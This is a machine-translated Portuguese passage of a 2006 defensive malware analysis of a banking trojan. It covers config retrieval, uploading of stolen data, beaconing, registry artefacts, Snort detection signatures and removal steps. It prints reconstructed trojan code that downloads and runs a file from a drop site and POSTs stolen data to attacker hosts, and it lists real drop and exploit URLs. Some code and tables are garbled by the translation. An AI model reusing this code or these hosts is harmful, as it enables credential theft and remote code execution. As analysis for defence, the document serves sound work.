autores de malware sentem a necessidade de fazer algo para ocultar o endereço IP e/ou nome de host do site que irão contatar; mesmo que
dificilmente aumente o fator furtivo. Por exemplo, o método implementado por este trojan evita que “strings” no binário revelem o site, mas um
analista poderia simplesmente executar o código em um laboratório e observar sua solicitação de DNS ou registros de tráfego de rede/firewall
de saída. Caso contrário, o código poderá ser analisado e aprenderemos que a URL para

a atualização da configuração do link do trojan é encontrada no cabeçalho do MS-DOS do executável.

A URL começa no deslocamento 0x40 no executável e o indicador de comprimento é encontrado um byte antes da assinatura PE de 4 bytes. O
URL abaixo tem 0x2A bytes de comprimento, terminando logo antes de “Este programa não pode ser executado no modo DOS”. mensagem.

Confidencial Página 17 16/11/2006


Machine Translated by Google

- 18 -

O trojan usa o mesmo algoritmo de codificação para o URL que usa para os dados de carga útil do POST. Ele o decodifica no
local (Nota: esta seção de um executável normalmente não é gravável, no entanto, no momento em que esse thread específico é
executado, ele o faz a partir da região de heap de um processo remoto; e a região de heap alocada é gravável. A URL é também não
foi completamente decodificado; apenas a decodificação literal é feita, pois é uma operação byte por byte. Antes da descompactação
ocorrer, a string é movida para o heap.), que então revela um dos dois URLs (o locais de entrega baseados na Ucrânia e na Rússia).

http_//progdav-gut.org.ru/prg/uc.bin http_//
72.36.223.62/uc.bin

Não é de surpreender que o arquivo uc.bin seja codificado com o mesmo algoritmo dos outros dados, porém as estruturas são
um pouco diferentes. Não se pode simplesmente executar o mesmo programa de decodificação neste arquivo, porque seus deslocamentos
de bytes são diferentes e, se você se lembra, os deslocamentos de bytes são o principal fator decisivo sobre qual fórmula
matemática aplicar ao byte. Aqui está a estrutura dos registros uc.bin:

typedef struct UCBIN_RECORD_t { id curto ; // id do


registro, começando em 1 // comprimento dos dados do registro
comprimento curto ; //
os dados estão codificados ou não
bool éEncoded; caractere
não assinado szData[]; //grava dados (URL)
}UCBIN_RECORD;

A captura de tela a seguir mostra os dois primeiros registros de um arquivo uc.bin com campos de dados definidos:

Confidencial Página 18 16/11/2006


Machine Translated by Google

- 19 -

A chave para entender como os dados no uc.bin são usados pelos threads da Internet é examinar os códigos das mensagens que são
passados para a rotina de decodificação. Por exemplo, existe uma função no binário que aceita um valor inteiro (id) como parâmetro. Ele percorre
os registros de uc.bin até encontrar o ID do registro correspondente, determinar o comprimento do registro, decodificar os dados e, em seguida,
retornar um ponteiro para
o URL decodificado. O thread de atualização e download envia a esta função um valor inteiro de 2 e, em seguida, baixa o URL resultante
como um arquivo temporário. Ele verifica se o arquivo contém conteúdo executável e, em caso afirmativo, o executa. O código abaixo mostra
algumas linhas selecionadas dessas funções que indicam como os dados de retorno do registro são utilizados:

DecodeRecordFromFile(2, &lpszdata);
InternetGetFile(g_hInternet, wcTempFileName, lpszdata);

if (GetBinaryTypeW(wcTempFileName, &BinaryType) &&


(BinaryType == SCS_32BIT_BINARY || BinaryType == SCS_64BIT_BINARY))
{
StartupInfo.cb = sizeof(STARTUPINFO);

if (CreateProcessW(wcTempFileName, NULL, NULL, NULL, NULL, NULL, NULL, NULL,


&Informações de inicialização e &Informações de processo))
{
CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation.hThread);
}
}

Sem muitos problemas, o programa de decodificação pode ser editado para manipular estruturas UCBIN_RECORD, bem como estruturas
HALL_RECORD e STOLEN_DATA. Aqui está o resultado de uma rodada de decodificação no arquivo uc.bin:

Com base no registro número 2, o tópico de atualização e download acessará “up” do site de descarte e o executará se contiver conteúdo executável. O thread
também acessará o registro número 3 e o salvará em video.dll para uso futuro. É assim que o trojan atualiza a configuração do seu link. Por exemplo, foi

interessante ver que o site inicial (progdav-gut.org.ru) parou de receber dados roubados em 18 de outubro de 2006. Depois de reverter todo o
código do trojan e não encontrar nenhuma indicação de upload baseado em tempo, este não fazia sentido a princípio. Certamente 100% das máquinas
infectadas não foram desinfetadas exatamente no mesmo dia.

Confidencial Página 19 16/11/2006


Machine Translated by Google

- 20 -

Em vez disso, isso foi apenas o resultado da substituição do arquivo uc.bin pelo autor do malware por uma nova versão que continha links
diferentes. Desta vez, eles apontaram para o local de lançamento 72.36.223.62. As capturas de tela a seguir mostram as datas da última
modificação dos arquivos nos dois locais de descarte. Observe que o diretório logs/ (onde os dados roubados são postados) do site progdav-
gut.org.ru foi modificado pela última vez em 18 de outubro. Passando para a segunda captura de tela, os arquivos config.php e install.php no
site drop 72.36.223.62 foram modificados pela última vez (ou
criado) nesta data exata. Além disso, o diretório logs/ neste novo site de descarte foi atualizado ontem, no momento da redação deste artigo.
Isso mostra que os sites de drop são altamente dinâmicos e os autores/operadores ainda estão muito ativos.

Confidencial Página 20 16/11/2006


Machine Translated by Google

- 21 -

13 Tópico de upload de dados roubados

O thread número 6 do diagrama de resumo de processo, thread e fluxo de dados pega as informações gravadas em audio.dll e
formatadas como HALL_RECORD (tudo descrito em Roubando dados de buffers de solicitação HTTP) e as envia para o
site de descarte especificado em uc. bin como registro número 4:

http_//72.36.223.62/s.php?1=$1$

A sintaxe “$1$” é na verdade apenas um indicador de variável. Uma vez decodificado, o URL é analisado e tudo o que estiver
entre os caracteres “$$” é substituído por um valor. Neste caso, o valor de $1$ será uma string de identificação de sistema quase
única (composição descrita na próxima seção). Isso informa ao s.php qual local do diretório salvar os dados POST na carga útil
do pacote. Por exemplo, o diretório logs/ de um site de descarte pode ter a seguinte aparência:

Os nomes numéricos dos diretórios correspondem a um octeto do endereço IP remoto. Os primeiros três octetos são usados para
construir uma hierarquia dessa maneira, o que significa que os arquivos do site descartado para máquinas infectadas na mesma
rede classe C terminarão juntos em um diretório; embora separados por nomes de arquivos que correspondam ao quase exclusivo
corda.

Para realmente construir a solicitação HTTP, a URL do registro uc.bin é formatada em uma estrutura
URL_COMPONENTS chamando InternetCrackUrl(). Em seguida, são feitas algumas verificações simples para garantir que o
URL seja válido. Se tiver um nome de host NULL ou não for HTTP ou HTTPS, o upload não será tentado. Além disso, se o
caminho da URL (começando em s.php) não for fornecido, o upload será postado em “/”, a página padrão do site de descarte.

Confidencial Página 21 16/11/2006


Machine Translated by Google

- 22 -

if (URL_Components.dwHostNameLength == NULO ||
(URL_Components.nScheme! = INTERNET_SCHEME_HTTP) &&
(URL_Components.nScheme! = INTERNET_SCHEME_HTTP))
{
retorna falso);
}

if (URL_Components.dwUrlPathLength = 0) {
hRequest = HttpOpenRequestA(hRequest, "POST", "/", NULL, NULL,
NULO, ddFlags, NULO);

} outro {
hUpload = HttpOpenRequestA(hRequest, "POST", URL_Components.lpszUrlPath, NULL, NULL, NULL, ddFlags, NULL);

if (HttpSendRequestA(hUpload, "Tipo de conteúdo: binário\r\n", 0xFFFFFFFF,


buffer de dados, nRecordLength + 8))
{
if (CheckServerResponse(hUpload)) {
// Limpa os dados do arquivo de entrada (apaga o registro)
SetFilePointer(hAudioDll, -nRecordLength, NULL, FILE_CURRENT); memset(databuffer, 0, nRecordLength);

WriteFile(hAudioDll, databuffer, nRecordLength, &ddNumberOfBytesWritten,


NULL);
FlushFileBuffers(hAudioDll);
}
}

Conforme mostrado, o Content-Type da solicitação de upload será “binário”. Esta informação foi útil na construção das assinaturas NIDS do
Bleeding-Edge. A variável databuffer é uma região heap preenchida com o conteúdo
de audio.dll. Após o envio da solicitação, a resposta do servidor é verificada antes de apagar os dados do registro.
Para fazer isso, ele chama HttpQueryInfo() com um nível de informação HTTP_QUERY_CUSTOM. Isso permite a passagem de um buffer que
contém um valor de cabeçalho específico da resposta HTTP do servidor para ser verificado. Em vez de
verificando o status normal do HTTP 200 (OK), o código verifica o cabeçalho “HALL” e seu valor correspondente. Se o servidor
respondeu com “HALL: OK”, o upload foi bem-sucedido.

Essa obscuridade na comunicação é ótima para as assinaturas NIDS, porque é muito incomum. É improvável que a detecção de uma
resposta HTTP “HALL:” de um servidor cause falsos positivos e, por outro lado,
Por outro lado, se alguma vez for acionado – isso quase definitivamente indica um cliente infectado.

Confidencial Página 22 16/11/2006


Machine Translated by Google

- 23 -

14 Tópico de estatísticas de atividades

Além de todas as informações que já sabemos terem sido roubadas, uma parte importante da operação do malware é a capacidade de
rastrear quantas máquinas foram infectadas e onde essas máquinas podem estar localizadas. O terceiro thread iniciado a partir de
svchost.exe decodifica o registro número 5 de uc.bin e o utiliza para construir uma solicitação HTTP GET para o servidor do site de
descarte. A solicitação é enviada de acordo com o seguinte formato:

http_//72.36.223.62/s.php?2=$1$&n=$2$

Este URL é composto por dois parâmetros, 2 e n. O anterior é uma string quase exclusiva que identifica a máquina infectada. A
string é produzida usando o nome do computador do sistema, um separador de sublinhado e o resultado de uma chamada para
GetTickCount(). O último valor, n, tem apenas três valores possíveis: 0, 1 e 2. Se o valor de n for 0, isso indica uma nova instalação do
trojan. Se o valor for 1, indica que não se trata de uma nova instalação; mas o trojan está apenas ligando para casa para informar ao
servidor que ainda está ativo. O valor 2 indica que ocorreu uma atualização do código trojan. Os dados enviados para s.php desta forma
são inseridos em um banco de dados MySQL e apresentados por admin.php.

A captura de tela a seguir mostra mais de 7.000 máquinas infectadas; a maioria dos EUA. Mostra que ocorreu 1 atualização (na
verdade, foi o resultado de um teste enviado manualmente fazendo n = 2). A atividade
a contagem aumenta em 1 para cada registro roubado carregado no site de descarte – uma tarefa realizada pelo Thread de upload
de dados roubados.

Confidencial Página 23 16/11/2006


Machine Translated by Google

- 24 -

Como afirmado anteriormente, o objetivo deste estudo não é simplesmente compreender o que o trojan faz; mas exatamente
como funciona, incluindo estrutura programática, chamadas de API e todas as condicionais. A string quase exclusiva para
identificação está localizada em um local estático no registro. O código chama GetComputerName() para saber seu nome
de host, mas usa “unknown” se essa função falhar; e o resultado hexadecimal de GetTickCount() é anexado a
esta string. A existência desta chave de registro pode ser usada para indicar infecção de um sistema.

WCHAR g_szRegKeyNetwork[] = L"software\\microsoft\\windows nt\\currentversion\\network";

if (!GetComputerNameW(wcComputerName, &ddComputerLength)) { lstrcpyW(wcComputerName,


L"desconhecido");

} wnsprintfW(wcData, MAX_PATH, L"%s_%08X", wcComputerName, GetTickCount()); if


(RegCreateKeyExW(HKEY_CURRENT_USER, g_szRegKeyNetwork, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hkResult, NULL) ==
ERRO_SUCESSO)
{
cbData = (lstrlenW(wcData) + 1) * 2;
RegSetValueExW(hkResult, L"UID", NULL, REG_SZ, (BYTE *)wcData, cbData);
RegCloseKey(hkResult);
}

A próxima informação interessante é como o código decide qual valor enviar para n. Isso também
envolve uma chave de registro em HKEY_CURRENT_USER. A localização exata é:

WCHAR g_szRegKeyExplorer[] =
L"software\\microsoft\\windows\\versão atual\\explorer";

caractere não assinado ucToBeCLSID[] =


"\x02\xFF\xAC\x45\x0B\x10\x56\x33\x42\x96\x18\x01\xF1\xA3\x66\x78";

O nome da chave é composto por uma sequência de bytes na seção global do binário. Isso evita que a ferramenta “strings”
revele quais locais de registro foram alterados pelo programa. Antes de usar essa string de bytes como CLSID, ela é
processada por um loop que a formata com colchetes e travessões e armazena o resultado em um buffer WCHAR, assim:

{02FFAC45-0B10-5633-4296-1801F1A36678}

O tipo de valor desta chave é binário, ao contrário do valor UID que é apenas uma string. Ainda mais, o binário é codificado
como os outros dados. Parece um pouco complicado proteger algo que realmente não é tão sagrado. Por exemplo, uma vez
decodificado o valor da chave, será um número entre 0 e 20. Se o número for 0, isso significa que a chave CLSID nunca foi
inicializada e, portanto, a instalação do trojan é
novo em folha. Se o número estiver entre 1 e 19, isso significa que ocorreu uma atualização do trojan; e o valor exato
provavelmente corresponde à versão atualizada. Se o número for 20, isso significa que o trojan não é uma instalação nova; e
define o valor de n na solicitação s.php de acordo.

Confidencial Página 24 16/11/2006


Machine Translated by Google

- 25 -

15 assinaturas NIDS de ponta sangrenta


Com base nas informações anteriores, e algumas ainda a serem compartilhadas, as seguintes assinaturas de detecção de intrusão
para ameaças Bleeding-Edge, [3] podem ser usadas para alertar quando este trojan está ativo.

Um grande número de assinaturas individuais pode ser escrito para as URLs (por exemplo, /s.php?1=$1$&n=$2$), mas lembre-se que a
URL pode ser atualizada a qualquer momento modificando o arquivo uc.bin. Essas assinaturas são escritas
para cobrir todas as três versões disponíveis para análise. Para contornar essas assinaturas, o autor não seria capaz de simplesmente
atualizar o uc.bin, ele teria que alterar o binário já em execução no
sistema. Embora isso fosse possível, daria um pouco mais de trabalho.

A assinatura a seguir detecta quando o trojan está carregando um registro de dados roubado para o site de descarte.

alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"Prg Trojan v0.1-v0.3 Upload de dados"; flow:to_server,established; content:"POST";
uricontent:"php?"; content:"Conteúdo -Type|3a20|binary"; dentro de:512; conteúdo:”LLAH"; dentro de:512; classtype:trojan-activity;
sid:20061110;)

A assinatura a seguir detecta quando o site de entrega está confirmando o recebimento dos dados roubados:

alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"Prg Trojan Server Reply"; flow:to_client,established; content:"HTTP";
profundidade:4; content:"|0d0a|Hall|3a|"; dentro de: 512; classtype:atividade de trojan; sid:20061111;)

As próximas três assinaturas detectam que o binário do trojan está em trânsito. Essas assinaturas são baseadas na cadeia de URL
codificada no cabeçalho do MS-DOS. Embora o trojan venha com UPX, essas assinaturas podem detectar as versões compactadas e
descompactadas; porque a sequência de bytes existe no cabeçalho do MS-DOS, que não é alterada pelo UPX.

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Prg Trojan v0.1 Binary In Transit"; flow:to_client,established; content:"MZ"; content:"|1D B9
F2 75 62 85 5A 4F 15 48 52 1D 50 90 41 89 37 9F FF 94 CE A6 3E 63 35 AB 29 6B 30 43 2F 45 46 B0 E1 C2 11 7F 0C 55 0F C7|"; dentro de:128;
tipo de classe: atividade de trojan; sid:20061112;)

alert tcp $EXTERNAL_NET any -> $HOME_NET (msg:"Prg Trojan v0.2 Binary In Transit"; flow:to_client,established; content:"MZ"; content:"|13
B9 F2 75 62 85 5A 4F 15 48 19 1D 10 4F 0D 5B 04 5B 04 60 CE 5F 00 67 F5 AE 25 6B 20 41 23 B3|"; dentro de:128; tipo de classe:atividade de
trojan; sid:20061113;)

alert tcp $EXTERNAL_NET any -> $HOME_NET (msg:"Prg Trojan v0.3 Binary In Transit"; flow:to_client,established; content:"MZ"; content:"| 5E
7D 66 7D 28 40 19 88 5F 8C 13 50 15 59 08 58 3C 97 00 9B 33 A5 F9 AF 39 68 F0 9F 27 AF E9 A8 25 B7 18 B6 15 7F 0E B6 1A|"; dentro de: 128;
tipo de classe: atividade de trojan; sid: 20061114;)

Confidencial Página 25 16/11/2006


Machine Translated by Google

- 26 -

16 Detecção e remoção de Trojan


Existem várias maneiras de verificar se um sistema está infectado com esse malware.

As alterações feitas no sistema de arquivos incluem:

Digite Local %SYSTEM% Descrição


\ntos.exe Arquivo Cópia do trojan com preenchimento aleatório de bytes.
%SYSTEM%\wsnpoem Dir Criado com atributos SYSTEM e HIDDEN.
%SYSTEM%\wsnpoem\audio.dll Arquivo %SYSTEM% Contém dados roubados do buffer de solicitação HTTP.
\wsnpoem\video.dll Arquivo Contém cópia local de uc.bin.

As alterações feitas no registro incluem:

Valor ntos.exe Para software HKCU


Localização da chave do Hive Descrição Software HKCU \\microsoft\\windows\\currentversion\\run
de execução automática \\microsoft\\windows\\currentversion\\exp
Codificado Manter dados binários de
professor\\{02FFAC45-0B10-5633-4296-1801F1A36678}
instalação. status %s_%08X
Software HKCU \\microsoft\\windows A string de ID quase exclusiva.
nt\\versão atual\\rede\\UID
Software HKLM \\microsoft\\windows nt\\currentversion\ Caminho Para execução automática.
\winlogon\\userinit para ntos.exe.

A presença do trojan em um sistema também pode ser detectada examinando outras áreas da memória além do disco rígido e dos dados
do registro. A tabela a seguir inclui detalhes sobre como detectar o trojan verificando a memória ou avaliando a acessibilidade de
determinados objetos.

Tipo Nome/Dados Descrição Mutex


Mutex __SYSTEM__91C38905__ para tempo de execução de trojan.
Mutex __SYSTEM__64AD0625__ //./ Mutex para acesso de pipe nomeado.
Cano pipe/__SYSTEM__64AD0625__ Endereço de pipe nomeado
Mutex __SYSTEM__7F4523E5__ Mutex para identificadores da Internet.
Mutex __SYSTEM__23D80F10__ Mutex para identificador audio.dll.
Mutex __SYSTEM__45A2F601__ Mutex para identificador video.dll.

Informações sobre como obter um programa que verifica essas informações e relata infecções estão disponíveis na Introdução. O
programa realiza uma avaliação não intrusiva dos itens listados nas tabelas acima e relata sua existência. A saída de um sistema
não infectado aparecerá assim:

Confidencial Página 26 16/11/2006


Machine Translated by Google

- 27 -

Se durante a verificação do sistema de arquivos, mutex e registro, o programa detectar indicações de infecção, ele prosseguirá
com as verificações da memória do processo. A verificação da memória do processo verificará o conteúdo em 0x14D00000
dos processos do sistema infectados durante a Infecção de Processo em Massa, desde que esse intervalo seja legível. O código
verificará se um PE reside na região e, em caso afirmativo, decodificará os dados correspondentes à URL do site de descarte
encontrada no cabeçalho do MS-DOS. Se o conteúdo decodificado corresponder a “http”, o processo está infectado. Esta não é
uma assinatura de cadeia de bytes, mas sim uma assinatura dinâmica baseada nesta característica. Este método de detecção
pode identificar com sucesso todas as versões do trojan que estavam disponíveis para análise.

[****] Prg System Cleaner [****] (c) Secure


Science Corporation

[!] Trojan mutex encontrado: Pipe Mutex [!]


Trojan mutex encontrado: Internet Mutex

[i] Foram encontrados 2 objetos mutex.

[!] Encontrado HKCU\software\microsoft\windows nt\currentversion\network\UID [!] Encontrado


ntos.exe em HKLM\software\microsoft\windows
nt\currentversion\winlogon\userinit

[i] Foram encontradas 2 entradas de registro.

Encontrado C:\WINDOWS\system32\ntos.exe
Correspondência encontrada de "C:\WINDOWS\system32\wsnpoem\*.dll": audio.dll
Correspondência encontrada de "C:\WINDOWS\system32\wsnpoem\*.dll": vídeo.dll

[i] Foram encontrados 3 arquivos.

[i] Verificando a memória do processo...

[!] Encontrado "http://72.36.223.62/uc.bin" escondido no sistema (pid 4)


[!] Encontrado "http://72.36.223.62/uc.bin" escondido em smss.exe (pid 492)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em winlogon.exe (pid 648)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em services.exe (pid 692)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em lsass.exe (pid 704)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em svchost.exe (pid 936)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em svchost.exe (pid 976)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em svchost.exe (pid 1020)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em svchost.exe (pid 1092)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em explorer.exe (pid 1336)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em spoolsv.exe (pid 1420)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em VMwareService.exe (pid 1656)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em VMwareTray.exe (pid 1860)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em VMwareUser.exe (pid 1872)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em ClamTray.exe (pid 1880)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em BHODemon.exe (pid 1936)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em alg.exe (pid 192)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em wscntfy.exe (pid 220)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em wuauclt.exe (pid 1844)
[!] Encontrado "http://72.36.223.62/uc.bin" escondido em cmd.exe (pid 1812)

O programa de detecção não tenta limpar o sistema. Ele não tentará fechar a alça para
ntos.exe de dentro do winlogon.exe. Ele também não tentará liberar a região de heap nos processos infectados onde
a imagem do trojan está gravada. Se isso for feito sem encerrar qualquer thread ativo em execução na região, poderão ocorrer
sérios problemas de estabilidade. Além disso, mesmo que todos os threads sejam encerrados e a região liberada, na próxima vez
que um processo tentar chamar uma das funções conectadas, ele acabará produzindo uma violação de acesso ao desreferenciar
0x00000000 da região de heap liberada.

Existe uma maneira mais fácil de limpar o sistema que não compartilha das mesmas preocupações de estabilidade, mas é
muito eficaz. Pode-se usar uma ferramenta como o Process Explorer, [11] para fechar o identificador do winlogon.exe para ntos.exe.
Isso pode ser feito usando a função “Find Handle” e procurando por “ntos.exe”.

Confidencial Página 27 16/11/2006


Machine Translated by Google

- 28 -

A partir daqui, ntos.exe pode ser excluído; e assim que o sistema for reiniciado, ele não estará mais infectado. Isso ocorre porque depois de
remover o ntos.exe do disco, o trojan reside apenas na memória. Os arquivos restantes e
os valores de registro identificados no programa de detecção podem ser removidos, porém não causarão danos ao sistema uma vez que o
código trojan principal seja desativado.

No momento em que este artigo foi escrito, vários serviços de proteção detectavam o trojan, mas muitos ainda não o faziam. A maioria apenas o
detecta como malware genérico ou código backdoor. As versões 1 e 2 são quase idênticas, tendo uma URL diferente no cabeçalho (daí
os padrões de detecção semelhantes). A versão 3 é a descrita em Bonus: New Malware, New Avenues e é significativamente diferente;
embora sem dúvida escritos pelos mesmos autores.

As informações obtidas são do VirusTotal, [10]. Todas as amostras digitalizadas eram versões descompactadas do trojan original.

Motor v0.1 v0.2 v0.3

O AntiVir [BDS/Pequeno.LU.6] [BDS/Pequeno.LU.6] [HEUR/Crypted] não


Authentium não encontrou nada O Avast não encontrou nada, não encontrou nada, não encontrou
encontrou nada AVG [BackDoor.Generic3.RFX] nada, não encontrou nada [BackDoor.Generic3.RFX] não
encontrou nada, não encontrou nada
BitDefender não encontrou nada CAT- Generic.Malware.Sdldg.D57882DF] não encontrou nada, não encontrou nada, não
QuickHeal não encontrou nada ClamAV não encontrou nada [Trojan.Dav] não encontrou nada, não
encontrou nada DrWeb [Trojan.Dav] eTrust- encontrou nada encontrado nada encontrado nada
InoculateIT não encontrou nada eTrust-Vet encontrado nada [Backdoor.Small.lu] não encontrado
não encontrou nada Ewido [Backdoor.Small.lu] nada encontrado nada encontrado nada encontrado nada
encontrado nada [suspeito] não encontrado nada
encontrado nada encontrado nada [Backdoor.Win32.Small.lu]
F-Prot não encontrou nada F-Prot4 não não encontrado nada encontrado nada encontrado nada
encontrou nada Fortinet [W32/Small.LU!tr.bdr] encontrado nada encontrado nada encontrado nada

Ikarus não encontrou nada Kaspersky


[Backdoor.Win32.Small.lu]
A McAfee não encontrou nada A Microsoft não
encontrou nada NOD32v2 não encontrou nada
não encontrei nada não encontrei nada

Confidencial Página 28 16/11/2006


Machine Translated by Google

- 29 -

normando [W32/Smalldoor.JLL] não [W32/Smalldoor.JLL] não não encontrei


Panda encontrou nada, encontrou nada, nada, não
Sophos não encontrou não encontrou encontrei nada,
O hacker nada [Backdoor/Small.lu] nada [Backdoor/Small.lu] não encontrei
A [Porta dos fundos.Pequena.F533] [Porta dos fundos.Pequena.F533] nada, não
VBA32 [Backdoor.Win32.Small.lu] não encontrou encontrei nada,
Caça-vírus nada, não encontrou nada não encontrei nada [Trojan.Agent.FBJ]

Confidencial Página 29 16/11/2006


Machine Translated by Google

- 30 -

17 Distribuição e Discussões de Trojans


Esta seção contém informações de fóruns de usuários e da comunidade em geral que entraram em contato com este trojan.

- Fóruns de revisão de armazenamento, [4].

Em 11 de outubro de 2006, o servidor dos fóruns do Storage Review foi comprometido por meio de uma vulnerabilidade no Invision
Power Board. Os temas no banco de dados back-end foram modificados para incluir um iframe HTML que extraía o código de exploração de
http://zciusfceqg.biz/dl/adv546.php quando os clientes visitavam o fórum. Todo o código de exploração servido pela página PHP não é
conhecido atualmente, mas pelo menos incluía explorações para as vulnerabilidades WMF, VML e SetSlice IE.

Também interessante neste tópico do fórum são os registros de alterações do usuário no sistema de arquivos:

“NTOS.EXE (habilmente datado de 04/08/04, haha)”

A razão pela qual a data deste arquivo não era consistente com sua data real de criação é porque o trojan altera os tempos de acesso ao
arquivo. O código ganha um identificador para ntdll.dll e ntos.exe e então faz o seguinte:

GetFileTime(hNtDll, &CreationTime, &LastAccessTime, &LastWriteTime);


SetFileTime(hNtos, &CreationTime, &LastAccessTime, &LastWriteTime);

- Fóruns de suporte técnico, [5].

Além disso, em 11 de outubro de 2006, um usuário infectado com este trojan fez os seguintes comentários:

“mas este está em uso, então o sfp não pode copiá-lo C:\WINDOWS\system32\ntos.exe”
“C:\WINDOWS\system32\ntos.exe ainda está bloqueado por algo, então não pôde ser adicionado ao sfp”

Sem dúvida, isso se deve ao bloqueio do arquivo pelo winlogon.exe, conforme descrito na seção Comunicação de Pipe
Nomeado .

O trojan também foi mencionado nos sites Sunbelt Software [6], Spyware Info [7] e Castle Cops [8] .

Confidencial Página 30 16/11/2006


Machine Translated by Google

- 31 -

18 Seção Bônus: Novo Malware, Novos Caminhos

Quando este estudo estava chegando ao fim, um membro do CastleCops MIRT, [9] conseguiu fornecer uma nova amostra do trojan para
análise. A amostra é significativamente semelhante, usando os mesmos nomes de mutex e principalmente as metodologias para atingir seus
objetivos. No entanto, foram feitas algumas pequenas modificações; e alguns recursos adicionais foram adicionados.

Primeiro, o trojan não usa mais a compactação LZNT1 fornecida por RtlCompressBuffer() e RtlDecompressBuffer(). Ele agora monitora
os toques nas teclas por meio do uso de GetKeyboardState() e GetKeyState(). Ele captura dados da área de transferência usando
GetClipboardData() e, com base em uma lista de funções importadas, parece ser capaz de tirar capturas de tela da área de trabalho
usando GDI. Ele agora monitora conexões FTP e rouba as informações de usuário e senha enviadas ao servidor.

Outra diferença é que o site de descarte foi movido novamente e o arquivo uc.bin agora se chama config.dat. Ele contém URLs diferentes:

http://sys1378.3fn.net/zs/.bin/config.dat

2: http://easyglimor.info/loader.exe 4: http://
sys1378.3fn.net/zs/s.php?1=$1$ 5: http://sys1378.3fn.net/
zs/s .php?2=$1$&n=$2$&v=$3$&sp=$4$&lcp=$5$&fp=$6$&shp=$7$ 8: http://sys1378.3fn.net/zs/s.php?3
=$1$&id=$2$ 3: http://80.93.176.82/~easyglim/zs/config.dat 7:
https://ibank.barclays.co.uk/olb/s/LoginMember.do

A última grande diferença observada é que cria dois threads de backdoor a partir de svchost.exe que se ligam a
soquetes e escutar conexões de clientes:

Confidencial Página 31 16/11/2006


Machine Translated by Google

- 32 -

19 Referências e Ferramentas
[1]. IDA Pro da DataRescue: http://www.datarescue.com/idabase [2]. Blog Sysinternals de
Mark Russinovich (agora no Technet), “Executando o Windows sem serviços”.
[3]. Ameaças de ponta sangrenta: http://www.bleedingthreats.net [4]. Fóruns de
revisão de armazenamento: início do Java e download de arquivos.
[5]. Fóruns de suporte técnico: Registro da irmã.
[6]. Centro de Pesquisa de Software Sunbelt: Backdoor.Win32.Small.lu.
[7]. Fóruns de informações sobre spyware (SWI): navegador severamente sequestrado…
[8]. Fóruns CastleCops: Suspeito do instalador MZU ntos.exe…
[9]. CastleCops MIRT: http://www.castlecops.com/c55-MIRT.html [10]. VirusTotal: http://
www.virustotal.com [11]. Sysinternals Process Explorer
para Windows (agora no Technet): Process Explorer.
[12]. Editor hexadecimal FlexHex: http://www.flexhex.com

Confidencial Página 32 16/11/2006

Você também pode gostar